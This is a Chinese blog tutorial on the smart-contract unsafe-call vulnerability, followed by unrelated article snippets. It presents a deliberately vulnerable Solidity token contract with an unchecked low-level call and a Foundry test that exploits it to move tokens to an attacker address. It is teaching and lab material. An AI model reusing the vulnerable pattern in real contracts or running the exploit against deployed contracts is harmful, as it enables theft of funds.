当前位置：首页 > news >正文

区块链安全常见的攻击合约和简单复现，附带详细分析——不安全调用漏洞 (Unsafe Call Vulnerability)【6】

news 来源：原创 2025/7/24 4:51:31

区块链安全常见的攻击分析——不安全调用漏洞 Unsafe Call Vulnerability

区块链安全常见的攻击合约和简单复现，附带详细分析——不安全调用漏洞 (Unsafe Call Vulnerability)【6】
- 1.1 漏洞合约
- 1.2 漏洞分析
- 1.3 攻击步骤分析
- 1.4 攻击合约

区块链安全常见的攻击合约和简单复现，附带详细分析——不安全调用漏洞 (Unsafe Call Vulnerability)【6】

Name: 不安全调用漏洞 (Unsafe Call Vulnerability)

重点： 在 TokenWhale 合约的 approveAndCallcode 函数中，漏洞允许任意调用并传入任意数据。攻击者可以通过该函数利用 call(_extraData) 执行恶意代码，例如调用 transfer 函数将资金转移给攻击者，从而实现重入攻击并窃取资金。

1.1 漏洞合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
/*
名称: 不安全调用漏洞 (Unsafe Call Vulnerability)描述:
在 TokenWhale 合约的 approveAndCallcode 函数中，该漏洞允许执行任意调用，并传入任意数据，从而导致潜在的安全风险和意外后果。该函数使用低级调用 (_spender.call(_extraData))，在没有对 _spender 地址的有效性或 _extraData 数据进行任何验证的情况下执行代码。
这可能导致意外行为、重入攻击或未授权的操作。这个练习展示了在调用合约时，输入和返回值未被检查的低级调用漏洞。
如果调用数据可控，则很容易引发任意函数执行。缓解措施:
应尽可能避免使用低级调用 "call"。参考:
https://blog.li.fi/20th-march-the-exploit-e9e1c5c03eb9
*/import "forge-std/Test.sol";contract TokenWhale {address player;uint256 public totalSupply;mapping(address => uint256) public balanceOf;mapping(address => mapping(address => uint256)) public allowance;string public name = "Simple ERC20 Token";string public symbol = "SET";uint8 public decimals = 18;function TokenWhaleDeploy(address _player) public {player = _player;totalSupply = 1000;balanceOf[player] = 1000;}function isComplete() public view returns (bool) {return balanceOf[player] >= 1000000; // 1 mil}event Transfer(address indexed from, address indexed to, uint256 value);function _transfer(address to, uint256 value) internal {balanceOf[msg.sender] -= value;balanceOf[to] += value;emit Transfer(msg.sender, to, value);}function transfer(address to, uint256 value) public {require(balanceOf[msg.sender] >= value);require(balanceOf[to] + value >= balanceOf[to]);_transfer(to, value);}event Approval(address indexed owner,address indexed spender,uint256 value);function approve(address spender, uint256 value) public {allowance[msg.sender][spender] = value;emit Approval(msg.sender, spender, value);}function transferFrom(address from, address to, uint256 value) public {require(balanceOf[from] >= value);require(balanceOf[to] + value >= balanceOf[to]);require(allowance[from][msg.sender] >= value);allowance[from][msg.sender] -= value;_transfer(to, value);}/* Approves and then calls the contract code*/function approveAndCallcode(address _spender,uint256 _value,bytes memory _extraData) public {allowance[msg.sender][_spender] = _value;bool success;// vulnerable call execute unsafe user code(success, ) = _spender.call(_extraData);console.log("success:", success);}
}

1.2 漏洞分析

approveAndCallcode()函数中的call可以调用_spender地址的任意函数。

请添加图片描述

1.3 攻击步骤分析

调用 approveAndCallcode 函数，将 _spender 参数设置为 TokenWhaleContract 合约的地址。
将 _extraData 参数设置为 transfer 函数的函数签名及其参数，触发低级调用 call，从而执行 transfer 函数，实现重入攻击。
输出结果

1.4 攻击合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;import "forge-std/Test.sol";
import "./UnsafeCall.sol";contract ContractTest is Test {TokenWhale TokenWhaleContract;address Koko;address Aquarius;function setUp() public {TokenWhaleContract = new TokenWhale();Koko = vm.addr(1);Aquarius = vm.addr(2);// vm.deal(address(Koko), 1 ether);// vm.deal(address(Aquarius), 1 ether);vm.prank(Koko);TokenWhaleContract = new TokenWhale();TokenWhaleContract.TokenWhaleDeploy(address(TokenWhaleContract));console.log("TokenWhale balance:",TokenWhaleContract.balanceOf(address(TokenWhaleContract)));}function testUnsafeCall() public {vm.prank(Aquarius);uint256 AquariusBalance;uint256 TokenWhaleBalance;AquariusBalance = TokenWhaleContract.balanceOf(address(Aquarius));console.log("Aquarius Balance:", AquariusBalance);bytes memory _extraData = abi.encodeWithSignature("transfer(address,uint256)",address(Aquarius),700);TokenWhaleContract.approveAndCallcode(address(TokenWhaleContract),0,_extraData);assertEq(TokenWhaleContract.balanceOf(address(Aquarius)), 700);console.log("Attack success!!");TokenWhaleBalance = TokenWhaleContract.balanceOf(address(TokenWhaleContract));console.log("TokenWhale Balance:", TokenWhaleBalance);AquariusBalance = TokenWhaleContract.balanceOf(address(Aquarius));console.log("Aquarius Balance:", AquariusBalance);}
}

区块链安全常见的攻击合约和简单复现，附带详细分析——不安全调用漏洞 (Unsafe Call Vulnerability)【6】

区块链安全常见的攻击分析——不安全调用漏洞 Unsafe Call Vulnerability 区块链安全常见的攻击合约和简单复现，附带详细分析——不安全调用漏洞 (Unsafe Call Vulnerability)【6】1.1 漏洞合约1.2 漏洞分析1.3 攻击步骤分析1.4 攻击合约区块链安全常见的攻击合约和…...

编程日记 2025/7/24 4:51:31

Vue.js 高难度组件开发：从插件化到性能极限优化

Vue.js 高难度组件开发：从插件化到性能极限优化引言一、插件化组件开发1. 什么是插件化组件2. 案例：构建一个插件化的图表组件二、动态扩展与自定义组件行为1. 动态添加组件功能三、复杂交互与细粒度状态管理1. 使用 Vuex 的模块化和动态模块注册四、…...

编程日记 2025/7/21 4:40:53

一个通用的居于 OAuth2的API集成方案

在现代 web 应用程序中，OAuth 协议是授权和认证的主流选择。为了与多个授权提供商进行无缝对接，我们需要一个易于扩展和维护的 OAuth 解决方案。本文将介绍如何构建一个灵活的、支持多提供商的 OAuth 系统，包括动态 API 调用、路径参数替换、…...

编程日记 2025/7/23 21:09:03

折腾日记：如何让吃灰笔记本发挥余热——搭建一个相册服务

背景之前写过，我在家里用了一台旧的工作站笔记本做了服务器，连上一个绿联的5位硬盘盒实现简单的网盘功能，然而，还是觉的不太理想，比如使用filebrowser虽然可以备份文件和图片，当使用手机使用网页&#xf…...

编程日记 2025/7/24 4:45:55

C# dynamic 类型详解

简介 C# 中的 dynamic 是一种特殊类型，它允许在运行时确定对象的类型和成员，而不是在编译时。 dynamic 的定义 dynamic 是一种类型，它告诉编译器对其进行“动态类型解析”。 dynamic 类型的变量会跳过编译时类型检查，所有的操作…...

编程日记 2025/7/24 4:48:09

postgresql ERROR: cannot drop the currently open database

postgresql ERROR: cannot drop the currently open database 解释： 这个错误表明你正在尝试删除或者切换当前正在使用的数据库。在PostgreSQL中，一个数据库对应着一个进程，当一个数据库处于打开状态时，你不能直接删除或者切换它…...

编程日记 2025/7/24 4:45:54

Excel基础知识

一：数组一行或者一列数据称为一维数组，多行多列称为二维数组，数组支持算术运算（如加减乘除等）。行：{1,2,3,4} 数组中的每个值用逗号分隔列：{1;2;3;4} 数组中的每个值用分号分隔行列&#xf…...

编程日记 2025/7/19 12:00:43

【pwnlab_init靶场渗透】

文章目录一、基础信息二、信息收集三、漏洞利用四、反弹shell 五、提权一、基础信息 Kali IP ：192.168.20.146 靶机IP：192.168.20.157 二、信息收集 nmap -sS -sV -p- -A 192.168.20.157 开放了80、111、3306、50749等端口访问一下80端口…...

编程日记 2025/7/20 14:18:38

【泰克生物】酶突变文库筛选技术：通过酵母展示实现酶的精准进化

酶工程是生物技术中的一个重要领域，涵盖了酶的改造、优化和应用。通过对酶分子进行定向进化，可以获得具有更高催化效率、更广泛底物特异性或更强稳定性的酶。酶突变文库筛选技术，尤其是酵母展示平台，提供了一种高效且可操作的方法…...

编程日记 2025/7/22 20:48:19

C++Primer 类简介

欢迎阅读我的【CPrimer】专栏专栏简介：本专栏主要面向C初学者，解释C的一些基本概念和基础语言特性，涉及C标准库的用法，面向对象特性，泛型特性高级用法。通过使用标准库中定义的抽象设施，使你更加适应高级…...

编程日记 2025/7/23 9:21:43

人工智能知识分享第三天-机器学习中交叉验证和网格搜索

交叉验证和网格搜索交叉验证解释: 概述: 它是一种更加完善的, 可信度更高的模型预估方式, 思路是: 把数据集分成n份, 每次都取1份当做测试集, 其它的当做训练集, 然后计算模型的: 评分. 然后再用下1份当做测试集, 其它当做训练集, 计算模型评分, 分成几份, 就进行几次计算, 最…...

编程日记 2025/7/23 17:47:31

00序言：我为什么会选择AI？

序言：我为什么会选择AI？ 2023年，对我来说是一个转折点。那一年，我在人工智能领域已经积累了几年的经验，深刻感受到了这场技术变革的巨大冲击。曾经，我也像许多人一样，怀疑自己是否能跟上这个快…...

编程日记 2025/7/24 1:05:37

【AIGC-ChatGPT副业提示词指令 - 动图】魔法咖啡馆：一个融合创意与治愈的互动体验设计

引言在当今快节奏的生活中，咖啡早已不仅仅是提神醒脑的饮品，更成为了一种情感寄托和生活态度的表达。本文将介绍一个独特的"魔法咖啡馆"互动体验设计，通过将咖啡与情感、魔法元素相结合，创造出一个充满想象力和治愈感…...

编程日记 2025/7/13 16:37:40

VSCode outline显示异常的解决方法——清除VSCode的配置和用户文件

1. 删除所有配置文件 sudo apt remove --purge code2. 删除所有用户文件 rm -rf ~/.config/Code rm -rf ~/.vscode rm -rf ~/.local/share/code rm -rf ~/.cache/Code3. 重装Code sudo dpkg -i code_1.96.2-1734607745_amd64.deb如此，可修复异常导致的outline无…...

编程日记 2025/7/21 19:50:05

Maple软件的安装和使用

文章目录 1.前言说明2.我为什么要学习Maple3.软件的安装4.如何使用4.1基本的赋值语句4.2函数的定义4.3三个类型的书写介质 5.指数运算5.1使用面板5.2自己输入 6.对数的使用 1.前言说明众所周知，我虽然是一名这个计算机专业的学生，但是我对于数学&#…...

编程日记 2025/7/22 11:56:02

elasticsearch-java客户端jar包中各模块的应用梳理

最近使用elasticsearch-java客户端实现对elasticsearch服务的Api请求，现对elasticsearch-java客户端jar包中各模块的应用做个梳理。主要是对co.elastic.clients.elasticsearch路径下的各子包的简单说明。使用的版本为：co.elastic.clients:elasticsearch-…...

编程日记 2025/7/19 20:19:49

android13 系统文字大小和显示大小的修改

没啥可解释，如题所示，修改系统默认文字大小和显示大小一修改系统文字大小： 系统文字太小，需要修改文字大小修改如下 commit 82675b7d8ac278e80d94e6b2b1417b266065d2ec Author: admin <bianjbflyscale.cn> Date: Sat …...

编程日记 2025/7/23 17:42:22

【华为OD-E卷 - 任务总执行时长 100分（python、java、c++、js、c）】

【华为OD-E卷 - 任务总执行时长 100分（python、java、c、js、c）】题目任务编排服务负责对任务进行组合调度。参与编排的任务有两种类型，其中一种执行时长为taskA，另一种执行时长为taskB。任务一旦开始执行不能被打断&#x…...

编程日记 2025/7/23 20:56:55

vue中子组件给父组件传值

在 Vue.js 中，子组件向父组件传递数据或事件通常是通过 $emit 方法来实现的。这个方法允许子组件触发一个自定义事件，父组件可以通过监听这些事件来接收信息。以下是实现这一过程的基本步骤： 1. 子组件触发事件在子组件中，使用…...

编程日记 2025/7/20 22:32:58

【js】记录预览pdf文件

接口调用拿到pdf的文件流，用blob处理这个文件流拿到url，使用window.open跳转新的窗口进行预览 api({dataType: blob, }).then(res >{if(res.code 0){this.previewPDF(res,application/pdf;charsetutf-8,pdf文件名)} })previewPDF (res, type, fname…...

编程日记 2025/7/20 19:12:59

【Spring MVC 异常处理机制】应对意外情况

在 Web 应用中，异常是不可避免的。用户的输入不合法，服务的某部分出错，或者数据库连接失败，这些情况都可能触发异常。那么问题来了：如何优雅地捕获并处理这些异常，让用户体验不至于因为一时的错误而受损&am…...

编程日记 2025/7/22 15:25:37

《计算机组成及汇编语言原理》阅读笔记：p128-p132

《计算机组成及汇编语言原理》学习第 10 天，p128-p132 总结，总计 5 页。一、技术总结 1.8088 organization and architecture 8088处理器是16位电脑，寄存器是16位，数据总线(data bus)是8位，地址总线是20位。 (1)g…...

编程日记 2025/7/20 12:29:25

留学生交流互动系统｜Java｜SSM｜VUE｜前后端分离

【技术栈】 1⃣️：架构: B/S、MVC 2⃣️：系统环境：Windowsh/Mac 3⃣️：开发环境：IDEA、JDK1.8、Maven、Mysql5.7 4⃣️：技术栈：Java、Mysql、SSM、Mybatis-Plus、VUE、jquery,html 5⃣️数据库可…...

编程日记 2025/7/23 21:01:37

Windows IPC

进程间通信 (IPC，Inter-Process Communication) 进程间通信 (IPC) 是一种在进程之间建立连接的机制，在两台计算机或一台多任务计算机上运行，以允许数据在这些进程之间流动。进程间通信 (IPC) 机制通常用于客户端/服务器环境，并在…...

编程日记 2025/7/21 20:06:38

BMS存储模块的设计

目的电池管理系统中存在着数据本地存储的要求，保证控制器重新上电后能够根据存储器中的一些参数恢复控制状态，和信息的下电存储1.继电器故障信息的存储。2. 系统性故障的存储。3.SOC、SOH相关信息的存储。4.均衡参数的存储。5.系统时间信息。6.出厂信息…...

编程日记 2025/7/20 6:48:45

2024-12-29-sklearn学习（25）无监督学习-神经网络模型（无监督）烟笼寒水月笼沙，夜泊秦淮近酒家。

文章目录 sklearn学习(25) 无监督学习-神经网络模型（无监督）25.1 限制波尔兹曼机25.1.1 图形模型和参数化25.1.2 伯努利限制玻尔兹曼机25.1.3 随机最大似然学习 sklearn学习(25) 无监督学习-神经网络模型（无监督） 文章参考网站&a…...

编程日记 2025/7/23 8:20:51

【动态规划篇】穿越算法迷雾：约瑟夫环问题的奇幻密码

欢迎拜访：羑悻的小杀马特.-CSDN博客本篇主题：带你众人皆知的约瑟夫环问题制作日期：2024.12.29 隶属专栏：C/C题海汇总目录引言： 一约瑟夫环问题介绍： 11问题介绍： 1.2起源与历史背景&…...

编程日记 2025/7/18 17:18:54

【Elasticsearch】DSL查询文档

目录 1.DSL查询文档 1.1.DSL查询分类 1.2.全文检索查询 1.2.1.使用场景 1.2.2.基本语法 1.2.3.示例 1.2.4.总结 1.3.精准查询 1.3.1.term查询 1.3.2.range查询 1.3.3.总结 1.4.地理坐标查询 1.4.1.矩形范围查询 1.4.2.附近查询 1.5.复合查询 1.5.1.相关性算分 …...

编程日记 2025/7/13 18:45:45

MySQL第三弹----函数

笔上得来终觉浅,绝知此事要躬行 🔥 个人主页：星云爱编程 🔥 所属专栏：MySQL 🌷追光的人，终会万丈光芒 🎉欢迎大家点赞👍评论📝收藏⭐文章一、合计/统计函数 1.1count…...

编程日记 2025/7/18 8:41:53

路由器刷机TP-Link tp-link-WDR5660 路由器升级宽带速度

何在路由器上设置代理服务器？ 如何在路由器上设置代理服务器？ 让所有连接到该路由器的设备都能够享受代理服务器的好处是一个不错的选择，特别是当需要访问特定的网站或加速网络连接的时候。下面是一些您可以跟随的步骤，使用路由器…...

编程日记 2025/7/21 4:31:58

Qml 中实现水印工具

【写在前面】在 Qt 的 Quick 模块中，QQuickPaintedItem 是一个非常有用的类，它允许我们在 Qml 中自定义绘制逻辑。我们可以通过这种方式实现水印工具，包括在文本、图片或整个窗口上添加水印。本文将介绍如何在 Qml 中实现一个简单但功能…...

编程日记 2025/7/22 20:58:49

2024年数字政府服务能力优秀创新案例汇编（附下载）

12月19日，由中国电子信息产业发展研究院指导、中国软件评测中心主办的“2024数字政府评估大会”在北京召开，大会主题是：为公众带来更好服务体验。会上，中国软件评测中心副主任吴志刚发布了2024年数字政府服务能力评估结果&#…...

编程日记 2025/7/21 15:32:04

数据链路层知识要点

这里写目录标题数据链路层的功能1.封装成帧2.差错控制2.1循环冗余校验（CRC）2.2奇偶校验法 3.可靠传输3.1停止等待协议(SW)3.2后退N帧协议(GBN)3.3选择重传协议(SR) 4.使用广播信道的数据链路层5.以太网(局域网)5.1以太网与网卡5.2以太网的MAC地址 6.VLA…...

编程日记 2025/7/21 5:43:15

Linux实验报告6-用户管理

目录一：实验目的二：实验内容 (1)查看 Linux 系统的相关文件,回答以下问题 ①root 用户的 UID为多少?他的主目录在哪里? ②请举出一个普通用户,指出他的主目录及其所使用的 shell 是什么? (2)新建用户abc1(abc代表你的姓名拼音字母,下同),为其…...

编程日记 2025/7/22 21:36:37

微信小程序打印生产环境日志

微信小程序打印生产环境日志新建一个log.js文件，写入以下代码： let log wx.getRealtimeLogManager ? wx.getRealtimeLogManager() : nullmodule.exports {debug() {if (!log) returnlog.debug.apply(log, arguments)},info() {if (!log) returnlog.i…...

编程日记 2025/7/23 18:59:38

Edge如何获得纯净的启动界面

启动Edge会出现快速链接，推广链接，网站导航，显示小组件，显示信息提要，背景 ●复杂页面 ●精简页面点击页面设置按钮关闭快速链接关闭网站导航关闭小组件关闭信息提要关闭背景关闭天气提示精简页面看起来十分舒…...

编程日记 2025/7/15 23:28:05

探索开源项目 kernel：技术的基石与无限可能

在开源的广袤世界中，有一颗璀璨的明星——kernel（https://gitee.com/openeuler/kernel），它宛如一座技术的宝藏，蕴含着无数的智慧与创新，为众多开发者所瞩目和敬仰。一、初窥 kernel 项目当我第一次接触…...

编程日记 2025/7/22 14:59:29

使用PHP函数 “setcookie“ 设置cookie

在网站开发中，cookie是一种非常常用的技术，它用于在用户的浏览器中存储少量的数据，以便在不同页面之间传递信息。PHP提供了一个名为 "setcookie" 的函数，用于设置cookie的值和属性。在本文中，我们将学习如何…...

编程日记 2025/7/23 22:31:23

LUA基础语法

目录变量篇算数运算符条件分支语句与循环语句函数表 Table 全局变量与本地变量协程元表面向对象（封装，继承，多态） 常用自带库垃圾回收变量篇 print("hello") print("lua") --注释 --[[…...

编程日记 2025/7/22 22:37:15

链路聚合

链路聚合目的：备份链路以及提高链路带宽。链路聚合技术（Eth-Trunk）：将多个物理接口捆绑成一个逻辑接口，将N条物理链路逻辑上聚合为一条逻辑链路。正常情况下，想要配置链路聚合 1、A设备通过多条链路连接…...

编程日记 2025/7/21 1:14:35

OpenCV-Python实战（4）——图像处理基础知识

一、坐标在 OpenCV 中图像左上角坐标为（0，0），竖直向下为 Y（height） ；水平向右为 X（width）。二、生成图像 2.1 灰度图像 img np.zeros((h,w), dtype np.uint8) i…...

编程日记 2025/7/22 11:12:06

爬虫案例-爬取网页图片

爬虫案例-爬取网页图片 1、安装依赖库2、爬取图片的代码3、效果图 1、安装依赖库 #以下是安装http请求的第三方库 pip install requests urllib3 #以下是安装处理图片的第三方库 pip install image pillow #以下是安装python解析html的第三方库 pip install beautifulsoup4 …...

编程日记 2025/7/22 18:49:10

KAN网络最新优化改进——基于小波变换的KAN网络

KAN网络概念 KAN网络（Kolmogorov-Arnold Networks）是一种革命性的神经网络架构，源于Kolmogorov-Arnold表示定理。该定理表明，多变量连续函数可通过有限数量的单变量连续函数的嵌套加法表示。KAN的核心创新在于将传统神经网络中的固定激活函数替换为可学习的单变量函数，…...

编程日记 2025/7/22 17:58:48

【潜意识Java】深入理解Java中的方法重写，理解重写的意义，知道其使用场景，以及重写的访问权限限制等的完整笔记详细总结。

目录一、方法重写是啥玩意儿 （一）定义和概念 （二）为啥要方法重写二、方法重写的规则 （一）方法签名必须相同 （二）返回类型的要求 （三）访问权限的限制…...

编程日记 2025/7/18 19:13:57

Android Thread优先级和调度算法

Thread优先级设置方式： java： Process.setThreadPriority： android.os.Process.setThreadPriority(Process.THREAD_PRIORITY_LOWEST、Process.THREAD_PRIORITY_URGENT_AUDIO、-20) c: #include <sched.h> setpriority( https://blo…...

编程日记 2025/7/22 14:00:41

OpenCV-Python实战（6）——图相运算

一、加法运算 1.1 cv2.add() res cv2.add(img1,img2,dstNone,maskNone,dtypeNone) img1、img2：要 add 的图像对象。（shape必须相同） mask：图像掩膜。灰度图（维度为2）。 dtype：图像数据类型…...

编程日记 2025/7/21 17:06:29

2、C#基于.net framework的应用开发实战编程 - 设计（二、四） - 编程手把手系列文章...

二、设计； 二．四、制定设计规范； 编码规范在软件编程里起到了非常重要的作用，主要是让代码更加的规范化，更加的简洁，更加的漂亮，更加的能够面向对象显示。以前那个系列就有发布C#的编码规范的文…...

编程日记 2025/7/22 21:42:39

DVWA靶场Brute Force (暴力破解) 漏洞low(低)，medium(中等)，high(高)，impossible(不可能的)所有级别通关教程

目录暴力破解low方法1方法2 mediumhighimpossible 暴力破解暴力破解是一种尝试通过穷尽所有可能的选项来获取密码、密钥或其他安全凭证的攻击方法。它是一种简单但通常无效率的破解技术，适用于密码强度较弱的环境或当攻击者没有其他信息可供利用时。暴力破解的基…...

编程日记 2025/7/18 20:33:32

sql字段值转字段

表alertlabel中记录变字段如何用alertlabel表得到下面数据实现的sql语句 select a.AlertID, (select Value from alertlabel where AlertIDa.AlertID and Labelhost) as host, (select Value from alertlabel where AlertIDa.AlertID and Labeljob) as job from (select …...

编程日记 2025/7/18 19:32:04

lua和C API库一些记录

相关头文件解释 lua.h：声明lua提供的基础函数，所有内容都有个前缀lua_； luaxlib.h：声明辅助库提供的函数，所有内容都有个前缀luaL_； lualib.h：声明了打开标准库的函数； 辅助库对…...

编程日记 2025/7/23 22:07:45

区块链安全常见的攻击分析——不安全调用漏洞 Unsafe Call Vulnerability

区块链安全常见的攻击合约和简单复现，附带详细分析——不安全调用漏洞 (Unsafe Call Vulnerability)【6】

1.1 漏洞合约

1.2 漏洞分析

1.3 攻击步骤分析

1.4 攻击合约

相关文章：